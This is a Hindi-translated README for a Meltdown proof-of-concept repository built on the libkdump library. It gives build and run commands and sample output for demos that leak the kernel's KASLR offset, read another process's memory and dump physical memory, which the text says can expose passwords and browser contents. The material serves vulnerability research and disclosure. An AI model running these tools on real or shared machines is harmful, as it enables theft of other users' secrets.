
Meltdown माइक्रोआर्किटेक्चरल हमले को प्रदर्शित करने वाले Proof-of-concept डेमो और libkdump लाइब्रेरी, जो कमजोर Intel CPUs पर kernel और physical memory लीक करते हैं।
इस रिपॉज़िटरी में कई एप्लिकेशन हैं, जो Meltdown बग को प्रदर्शित करते हैं। बग के बारे में तकनीकी जानकारी के लिए, पेपर देखें:
इस रिपॉज़िटरी में मौजूद एप्लिकेशन libkdump के साथ बनाए गए हैं, जो एक लाइब्रेरी है जिसे हमने पेपर के लिए विकसित किया था। यह लाइब्रेरी पर्यावरण के कुछ गुणों के अनुसार स्वतः अनुकूलित होकर बग के शोषण को सरल बनाती है।
इस रिपॉज़िटरी में Meltdown को प्रदर्शित करने वाले कई वीडियो हैं
इस रिपॉज़िटरी में विभिन्न उपयोग मामलों को प्रदर्शित करने के लिए पाँच डेमो हैं। सभी डेमो Ubuntu 16.04 पर Intel Core i7-6700K के साथ परीक्षण किए गए हैं, लेकिन इन्हें 2010 के बाद के किसी भी आधुनिक Intel CPU वाले किसी भी Linux सिस्टम पर काम करना चाहिए।
सर्वोत्तम परिणामों के लिए, हम एक तेज़ CPU की सिफ़ारिश करते हैं जो Intel TSX का समर्थन करता हो (जैसे कोई भी Intel Core i7-5xxx, i7-6xxx, या i7-7xxx)। इसके अतिरिक्त, प्रत्येक डेमो को एक CPU कोर पर पिन किया जाना चाहिए, जैसे taskset के साथ।
पूर्वापेक्षा के रूप में, आपको अपनी मशीन पर glibc-static इंस्टॉल करना होगा।
RPM-आधारित सिस्टम के लिए:
sudo yum install -y glibc-static
test)यह सबसे बुनियादी डेमो है। यह अपने ही एड्रेस स्पेस से सुलभ एड्रेस पढ़ने के लिए Meltdown का उपयोग करता है, किसी भी आइसोलेशन तंत्र को तोड़े बिना।
यदि यह डेमो आपके लिए काम नहीं करता है, तो शेष डेमो भी संभवतः काम नहीं करेंगे। इसके कारण अनेक हैं, जैसे CPU बहुत धीमा हो सकता है, out-of-order execution का समर्थन नहीं करता हो, उच्च-रिज़ॉल्यूशन टाइमर पर्याप्त सटीक न हो (विशेषकर VMs में), ऑपरेटिंग सिस्टम कस्टम सिग्नल हैंडलर का समर्थन नहीं करता हो, आदि।
make
taskset 0x1 ./test
यदि आप इसके समान आउटपुट देखते हैं
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
तो बुनियादी डेमो काम करता है।
kaslr)Linux kernel 4.12 से शुरू करके, KASLR (Kernel Address Space Layout Randomizaton) डिफ़ॉल्ट रूप से सक्रिय है। इसका मतलब है कि kernel का स्थान (और वह direct physical map भी जो पूरी भौतिक मेमोरी को मैप करता है) प्रत्येक रीबूट के साथ बदल जाता है।
यह डेमो direct physical map के (गुप्त) रैंडमाइज़ेशन को लीक करने के लिए Meltdown का उपयोग करता है। इस डेमो को प्रक्रिया को तेज़ करने के लिए root विशेषाधिकारों की आवश्यकता होती है। पेपर में एक ऐसा प्रकार वर्णित है जिसके लिए root विशेषाधिकारों की आवश्यकता नहीं होती।
make
sudo taskset 0x1 ./kaslr
कुछ सेकंड के बाद, आपको इसके समान कुछ दिखना चाहिए
[+] Direct physical map offset: 0xffff880000000000
reliability)यह डेमो परीक्षण करता है कि भौतिक मेमोरी को कितनी विश्वसनीयता से पढ़ा जा सकता है। इस डेमो के लिए, आपको या तो direct physical map offset चाहिए (जैसे डेमो #2 से) या आपको अपनी kernel command line में nokaslr निर्दिष्ट करके KASLR अक्षम करना होगा।
reliability को बिल्ड करें और शुरू करें। यदि आपके पास KASLR सक्षम है, तो पहला पैरामीटर direct physical map का offset है। अन्यथा, प्रोग्राम को किसी पैरामीटर की आवश्यकता नहीं है।
make
sudo taskset 0x1 ./reliability 0xffff880000000000
कुछ सेकंड के बाद, आपको इसके समान आउटपुट मिलना चाहिए:
[-] Success rate: 99.93% (read 1354 values)
physical_reader)यह डेमो सीधे भौतिक मेमोरी पढ़कर एक भिन्न प्रक्रिया से मेमोरी पढ़ता है। इस डेमो के लिए, आपको या तो direct physical map offset चाहिए (जैसे डेमो #2 से) या आपको अपनी kernel command line में nokaslr निर्दिष्ट करके KASLR अक्षम करना होगा।
सिद्धांत रूप में, यह प्रोग्राम मनमाने भौतिक एड्रेस पढ़ सकता है। हालाँकि, चूँकि भौतिक मेमोरी में बहुत सारा गैर-मानव-पठनीय डेटा होता है, हम एक परीक्षण उपकरण (secret) प्रदान करते हैं, जो मेमोरी में एक मानव-पठनीय स्ट्रिंग डालता है और सीधे इस स्ट्रिंग का भौतिक एड्रेस प्रदान करता है।
डेमो के लिए, पहले secret को (root के रूप में) चलाएँ ताकि एक मानव-पठनीय स्ट्रिंग का भौतिक एड्रेस प्राप्त हो:
make
sudo ./secret
इसे इसके समान कुछ आउटपुट देना चाहिए:
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
जबकि secret प्रोग्राम चल रहा हो, physical_reader शुरू करें। पहला पैरामीटर secret द्वारा प्रिंट किया गया भौतिक एड्रेस है। यदि आपके पास KASLR अक्षम नहीं है, तो दूसरा पैरामीटर direct physical map का offset है।
taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
कुछ सेकंड के बाद, आपको इसके समान आउटपुट मिलना चाहिए:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
memdump)यह डेमो मेमोरी की सामग्री को डंप करता है। डेमो #3 और #4 की तरह, यह भौतिक मेमोरी की सामग्री को hexdump-जैसे फ़ॉर्मेट में डंप करने के लिए direct physical map का उपयोग करता है।
फिर से, चूँकि भौतिक मेमोरी में बहुत सारी गैर-मानव-पठनीय सामग्री होती है, हम भौतिक मेमोरी की बड़ी मात्रा को मानव-पठनीय स्ट्रिंग्स से भरने के लिए एक परीक्षण उपकरण प्रदान करते हैं।
डेमो के लिए, पहले मेमोरी को मानव-पठनीय स्ट्रिंग्स से भरने के लिए memory_filler चलाएँ। पहला तर्क भरने के लिए मेमोरी की मात्रा (गीगाबाइट में) है।
make
./memory_filler 9
फिर, मेमोरी सामग्री को डंप करने के लिए memdump उपकरण चलाएँ। यदि आपने पहले memory_filler निष्पादित किया था, तो आपको कुछ स्ट्रिंग अंश दिखने चाहिए।
यदि आपके पास कई टैब के साथ Firefox या Chrome चल रहा है, तो आप खुली या हाल ही में बंद की गई वेबसाइटों के भाग भी देख सकते हैं।
पहला पैरामीटर वह भौतिक एड्रेस है जहाँ से डंप शुरू होना चाहिए (पहले गीगाबाइट से शुरू करने के लिए खाली छोड़ें)। दूसरा पैरामीटर उन बाइट्स की मात्रा है जिन्हें आप पढ़ना चाहते हैं, सब कुछ पढ़ने के लिए -1 दें। यदि आपके पास KASLR अक्षम नहीं है, तो तीसरा पैरामीटर direct physical map का offset है।
taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB
आपको मेमोरी के भागों का hexdump मिलना चाहिए (संभवतः पासवर्ड जैसे रहस्य भी शामिल हो सकते हैं, पेपर में उदाहरण देखें), जैसे:
240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied on an app |
क्या यह Windows / Ubuntu on Windows (WSL) / Mac OS पर काम करता है?
नहीं। यह PoC केवल Linux पर काम करता है, क्योंकि यह Linux kernel के विशिष्ट गुणों का उपयोग करता है, जैसे direct physical map।
क्या मैं PoC को वर्चुअल मशीन में चला सकता हूँ?
हाँ, PoC वर्चुअल मशीनों पर भी काम करता है। हालाँकि, वर्चुअल मशीन द्वारा जोड़ी गई अतिरिक्त परत के कारण, यह नेटिव हार्डवेयर की तरह अच्छी तरह काम नहीं कर सकता।
KASLR प्रोग्राम (kaslr) offset नहीं ढूँढ पाता!
kaslr उपकरण तेज़ रहने के लिए बहुत कम माप करता है। यदि यह offset नहीं ढूँढ पाता, तो दो संभावनाएँ हैं:
kaslr.c में पुनःप्रयासों की संख्या बदलें: config.retries = 1000;kaslr_offset में kernel module का उपयोग करें। अपने kernel के लिए kernel headers इंस्टॉल करें (sudo apt-get install linux-headers-`uname -r` ) और sudo ./direct_physical_map.sh चलाएँआपने कहा कि यह अनकैश्ड मेमोरी पर काम करता है, लेकिन आपके सभी डेमो यह सुनिश्चित करते हैं कि मेमोरी कैश्ड है!
इसे अनकैश्ड मेमोरी पर काम कराना अधिक पेचीदा है, और अक्सर पैरामीटरों में थोड़ी ट्वीकिंग की आवश्यकता होती है। इसलिए, पुनरुत्पादन को आसान बनाने के लिए हम PoC में यह सुनिश्चित करते हैं कि मेमोरी कैश्ड है। हालाँकि, आप बस उस कोड को हटा सकते हैं जो मानों को कैश करता है और इसे clflush से बदल सकते हैं ताकि अनकैश्ड मेमोरी पर शोषण का परीक्षण किया जा सके (उदाहरण के लिए वीडियो #5 देखें)।
हालाँकि Google की मूल ब्लॉग पोस्ट में नहीं, यह स्वतंत्र शोधकर्ताओं द्वारा भी पुष्टि की गई थी (जैसे , , )।
चेतावनी #1: हम यह कोड जैसा है वैसा ही प्रदान कर रहे हैं। इस कोड के कारण होने वाले किसी भी जोखिम से स्वयं को, अपनी संपत्ति और डेटा को, तथा अन्य लोगों को बचाने की ज़िम्मेदारी आपकी है। यह कोड आपकी मशीन पर अप्रत्याशित और अवांछनीय व्यवहार उत्पन्न कर सकता है। यह कोड आपकी मशीन पर भेद्यता का पता नहीं लगा सकता है।
चेतावनी #2: यदि आप पाते हैं कि कोई कंप्यूटर Meltdown बग के प्रति संवेदनशील है, तो आप इसे मल्टी-यूज़र सिस्टम के रूप में उपयोग करने से बचना चाह सकते हैं। Meltdown CPU की मेमोरी सुरक्षा को तोड़ता है। Meltdown बग के प्रति संवेदनशील मशीन पर, एक प्रक्रिया अन्य प्रक्रियाओं या kernel द्वारा उपयोग किए जाने वाले सभी पेज पढ़ सकती है।
चेतावनी #3: यह कोड केवल परीक्षण उद्देश्यों के लिए है। इसे किसी भी उत्पादक सिस्टम पर न चलाएँ। इसे किसी भी ऐसे सिस्टम पर न चलाएँ जिसका उपयोग कोई अन्य व्यक्ति या इकाई कर सकती हो।
यह मेरे कंप्यूटर पर बस काम नहीं करता, मैं क्या कर सकता हूँ?
इसके कई अलग-अलग कारण हो सकते हैं। हमने कुछ चीज़ें एकत्र की हैं जिन्हें आप आज़मा सकते हैं:
libkdump/libkdump.c में #define MELTDOWN meltdown_nonull पंक्ति में बदला जा सकता है। उदाहरण के लिए meltdown_nonull के बजाय meltdown आज़माएँ, जो कुछ मशीनों पर बहुत बेहतर काम करता है (लेकिन अन्य पर बिल्कुल नहीं)।stress उपकरण को stress -i 2 के साथ चलाकर (या i पैरामीटर के लिए अन्य मान, कोर की संख्या के आधार पर)।